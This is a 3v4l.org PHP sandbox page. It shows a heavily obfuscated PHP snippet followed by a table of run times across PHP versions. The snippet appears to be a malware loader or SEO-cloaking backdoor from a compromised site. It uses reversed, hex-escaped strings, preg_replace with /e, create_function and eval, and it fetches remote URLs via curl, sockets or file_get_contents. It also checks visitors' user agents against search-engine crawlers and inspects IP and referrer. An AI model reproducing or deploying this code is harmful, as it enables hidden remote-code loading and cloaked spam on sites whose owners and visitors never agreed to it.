3v4l.org

run code in 300+ PHP versions simultaneously
<?php $t9e = '$w9 ="\x2f\50\x2e\52\x29\57\x65"; $v9 = #5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "\x73\164\x72\162\x65\166";$s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i<sizeof($#,#); } create_function("", "};".$#,# = explode("#); $ji9 = "\x2c\40\x24\145\x65\61\x2c\40\x24\163\x39\71\x29\51\x3b"; $s99 = #Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}#; $ll($w9, $syv.#("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M")#.$ji9, NULL);'; $fff = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; print(preg_replace("/#/", "\x27", $t9e));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.00818.41
8.3.50.0080.01021.33
8.3.40.0000.01518.79
8.3.30.0100.00320.29
8.3.20.0000.01420.21
8.3.10.0030.00622.02
8.3.00.0060.00322.43
8.2.180.0030.01716.88
8.2.170.0060.00922.96
8.2.160.0090.00622.08
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0040.00420.94
8.2.110.0060.00322.23
8.2.100.0080.00317.97
8.2.90.0030.00617.50
8.2.80.0040.00418.86
8.2.70.0000.00817.63
8.2.60.0040.00417.88
8.2.50.0040.00417.88
8.2.40.0080.00017.88
8.2.30.0040.00419.55
8.2.20.0050.00317.97
8.2.10.0040.00417.91
8.2.00.0030.00717.93
8.1.280.0140.00725.92
8.1.270.0060.00323.99
8.1.260.0070.00026.35
8.1.250.0040.00428.09
8.1.240.0090.00023.83
8.1.230.0000.01119.15
8.1.220.0040.00417.79
8.1.210.0000.00818.77
8.1.200.0040.00417.35
8.1.190.0030.00717.35
8.1.180.0000.00818.10
8.1.170.0040.00417.62
8.1.160.0040.00418.79
8.1.150.0000.00818.75
8.1.140.0000.00817.63
8.1.130.0000.00717.86
8.1.120.0000.00817.59
8.1.110.0050.00217.49
8.1.100.0030.00317.45
8.1.90.0000.00717.60
8.1.80.0000.00717.50
8.1.70.0030.00317.54
8.1.60.0090.00017.56
8.1.50.0040.00417.55
8.1.40.0020.00917.64
8.1.30.0040.00417.64
8.1.20.0060.00317.73
8.1.10.0040.00417.70
8.1.00.0060.00317.59
8.0.300.0020.00518.77
8.0.290.0040.00417.00
8.0.280.0000.00818.36
8.0.270.0030.00316.89
8.0.260.0060.00016.90
8.0.250.0000.00717.16
8.0.240.0090.00017.01
8.0.230.0030.00317.05
8.0.220.0030.00316.96
8.0.210.0000.00816.98
8.0.200.0000.00717.02
8.0.190.0070.00017.06
8.0.180.0000.00816.92
8.0.170.0040.00416.95
8.0.160.0040.00416.97
8.0.150.0040.00416.96
8.0.140.0000.01116.99
8.0.130.0000.00513.43
8.0.120.0040.00416.90
8.0.110.0040.00416.84
8.0.100.0000.00716.81
8.0.90.0000.00716.91
8.0.80.0060.00916.88
8.0.70.0030.00516.99
8.0.60.0030.00516.97
8.0.50.0000.00716.97
8.0.30.0150.00417.02
8.0.20.0090.01317.45
8.0.10.0080.00017.14
8.0.00.0130.00817.06
7.4.330.0000.00516.85
7.4.320.0030.00316.84
7.4.300.0060.00016.58
7.4.290.0000.00716.77
7.4.280.0030.00616.68
7.4.270.0070.00016.81
7.4.260.0050.00013.45
7.4.250.0050.00216.66
7.4.240.0030.00316.75
7.4.230.0030.00316.80
7.4.220.0080.01616.73
7.4.210.0060.01216.79
7.4.200.0030.00516.54
7.4.190.0070.00016.63
7.4.160.0110.00416.71
7.4.150.0120.00617.40
7.4.140.0080.00917.86
7.4.130.0100.00716.75
7.4.120.0130.00516.74
7.4.110.0100.00716.77
7.4.100.0090.00916.76
7.4.90.0170.00016.63
7.4.80.0150.00319.39
7.4.70.0070.01016.63
7.4.60.0040.01516.46
7.4.50.0040.00416.49
7.4.40.0080.00822.77
7.4.30.0060.00916.71
7.4.00.0070.01014.88
7.3.330.0000.00713.07
7.3.320.0000.00613.10
7.3.310.0030.00316.11
7.3.300.0030.00316.30
7.3.290.0130.00316.26
7.3.280.0100.00716.30
7.3.270.0110.00617.40
7.3.260.0190.00016.39
7.3.250.0060.01116.57
7.3.240.0140.00316.70
7.3.230.0080.00916.39
7.3.210.0120.00616.53
7.3.200.0080.00919.39
7.3.190.0160.00616.40
7.3.180.0040.01216.41
7.3.170.0130.00316.36
7.3.160.0100.00716.47
7.3.120.0090.00615.14
7.2.330.0030.01416.73
7.2.320.0080.00916.73
7.2.310.0090.01416.79
7.2.300.0090.01316.45
7.2.290.0140.00316.70
7.2.00.0030.00919.55
7.1.100.0140.00318.18
7.1.70.0030.00617.15
7.1.60.0090.01519.17
7.1.50.0200.01735.00
7.1.00.0100.05322.34
7.0.200.0030.00517.02
7.0.140.0070.07322.00
7.0.100.0100.05720.06
7.0.90.0200.07319.96
7.0.80.0130.07719.95
7.0.70.0130.06019.92
7.0.60.0330.07020.06
7.0.50.0130.07020.17
7.0.40.0270.06020.09
7.0.30.0070.09020.05
7.0.20.0230.07720.08
7.0.10.0170.07020.08
7.0.00.0000.08020.11
5.6.280.0000.06720.81
5.6.250.0030.09020.63
5.6.240.0100.07720.66
5.6.230.0100.08720.68
5.6.220.0070.04720.65
5.6.210.0070.04320.46
5.6.200.0070.08320.96
5.6.190.0070.04720.96
5.6.180.0070.08321.04
5.6.170.0070.08320.98
5.6.160.0170.06721.03
5.6.150.0070.08021.05
5.6.140.0130.05021.01
5.6.130.0170.05721.03
5.6.120.0100.08721.04
5.6.110.0100.07721.03
5.6.100.0130.06021.10
5.6.90.0100.08020.99
5.6.80.0100.04020.43
5.6.70.0070.08720.51
5.6.60.0100.07720.41
5.6.50.0000.09020.45
5.6.40.0070.08320.43
5.6.30.0070.04320.46
5.6.20.0070.06020.48
5.6.10.0100.06720.36
5.6.00.0100.07020.35
5.5.380.0130.07320.45
5.5.370.0130.06720.34
5.5.360.0030.08320.43
5.5.350.0100.08020.43
5.5.340.0170.04020.83
5.5.330.0170.07020.84
5.5.320.0170.06020.89
5.5.310.0070.07020.86
5.5.300.0130.06720.83
5.5.290.0070.05020.64
5.5.280.0030.06720.86
5.5.270.0170.07320.85
5.5.260.0170.06320.75
5.5.250.0070.07320.61
5.5.240.0100.05320.16
5.5.230.0170.07020.18
5.5.220.0070.06720.25
5.5.210.0130.06720.25
5.5.200.0100.07320.28
5.5.190.0130.07320.11
5.5.180.0070.08020.18
5.5.160.0000.05320.18
5.5.150.0130.07720.11
5.5.140.0100.07320.25
5.5.130.0070.06020.21
5.5.120.0030.05720.25
5.5.110.0130.07720.14
5.5.100.0130.07019.95
5.5.90.0170.07020.17
5.5.80.0070.05019.97
5.5.70.0000.06020.16
5.5.60.0030.08020.05
5.5.50.0130.07319.96
5.5.40.0170.07020.07
5.5.30.0130.07319.95
5.5.20.0100.06320.02
5.5.10.0030.07320.03
5.5.00.0000.05320.06
5.4.450.0100.06319.45
5.4.440.0100.07019.37
5.4.430.0000.08019.45
5.4.420.0130.07319.21
5.4.410.0000.04019.16
5.4.400.0130.07319.05
5.4.390.0070.05318.76
5.4.380.0070.07019.01
5.4.370.0000.05019.06
5.4.360.0070.05319.02
5.4.350.0030.07318.81
5.4.340.0270.04019.03
5.4.320.0170.06719.11
5.4.310.0070.07019.11
5.4.300.0100.05319.23
5.4.290.0070.04318.98
5.4.280.0070.07718.96
5.4.270.0130.06319.03
5.4.260.0130.06318.95
5.4.250.0030.07318.95
5.4.240.0030.08019.06
5.4.230.0030.07319.02
5.4.220.0100.07319.05
5.4.210.0170.06719.22
5.4.200.0030.08018.80
5.4.190.0100.06719.08
5.4.180.0130.07019.10
5.4.170.0000.04318.89
5.4.160.0030.09019.12
5.4.150.0030.08318.88
5.4.140.0030.08716.29
5.4.130.0070.07716.28
5.4.120.0100.07316.06
5.4.110.0130.05016.25
5.4.100.0130.07316.21
5.4.90.0070.05716.21
5.4.80.0100.07316.36
5.4.70.0130.06016.42
5.4.60.0070.07016.27
5.4.50.0030.04716.41
5.4.40.0230.05016.48
5.4.30.0100.06716.20
5.4.20.0170.06016.40
5.4.10.0030.08316.19
5.4.00.0030.07715.75
5.3.290.0200.06314.68
5.3.280.0070.04314.55
5.3.270.0100.07314.60
5.3.260.0100.07314.55
5.3.250.0030.08014.63
5.3.240.0100.07714.58
5.3.230.0100.04314.47
5.3.220.0030.07314.57
5.3.210.0200.06014.55
5.3.200.0030.08014.55
5.3.190.0000.04314.59
5.3.180.0070.06014.55
5.3.170.0070.06014.41
5.3.160.0030.05314.52
5.3.150.0030.05014.48
5.3.140.0130.06714.56
5.3.130.0130.07014.50
5.3.120.0100.06314.39
5.3.110.0100.08714.52
5.3.100.0130.06313.91
5.3.90.0100.06713.87
5.3.80.0030.08313.80
5.3.70.0030.07013.94
5.3.60.0070.04014.02
5.3.50.0000.04313.91
5.3.40.0170.07013.90
5.3.30.0070.07013.69
5.3.20.0100.07013.71
5.3.10.0070.07713.67
5.3.00.0100.06313.59
5.2.170.0000.06711.21
5.2.160.0130.05711.16
5.2.150.0100.03711.15
5.2.140.0070.03011.11
5.2.130.0000.05711.19
5.2.120.0000.06010.98
5.2.110.0170.02011.08
5.2.100.0070.05711.17
5.2.90.0030.05311.11
5.2.80.0030.06310.93
5.2.70.0030.06311.10
5.2.60.0030.06311.12
5.2.50.0000.05711.00
5.2.40.0000.04310.98
5.2.30.0000.06310.92
5.2.20.0100.03010.97
5.2.10.0170.04010.93
5.2.00.0030.04710.81
5.1.60.0030.04710.07
5.1.50.0070.0539.99
5.1.40.0030.0539.82
5.1.30.0070.05710.41
5.1.20.0000.03310.30
5.1.10.0000.06010.08
5.1.00.0100.05310.08
5.0.50.0000.0308.57
5.0.40.0030.0438.57
5.0.30.0100.0578.57
5.0.20.0070.0278.57
5.0.10.0000.0478.57
5.0.00.0070.0508.57
4.4.90.0000.0378.57
4.4.80.0030.0308.57
4.4.70.0100.0238.57
4.4.60.0030.0338.57
4.4.50.0030.0278.57
4.4.40.0030.0578.57
4.4.30.0000.0278.57
4.4.20.0100.0278.57
4.4.10.0000.0308.57
4.4.00.0000.0478.57
4.3.110.0000.0338.57
4.3.100.0070.0308.57
4.3.90.0030.0178.57
4.3.80.0000.0478.57
4.3.70.0070.0108.57
4.3.60.0000.0338.57
4.3.50.0030.0178.57
4.3.40.0100.0438.57
4.3.30.0000.0378.57
4.3.20.0030.0338.57
4.3.10.0000.0378.57
4.3.00.0100.0278.57

preferences:
60.06 ms | 401 KiB | 5 Q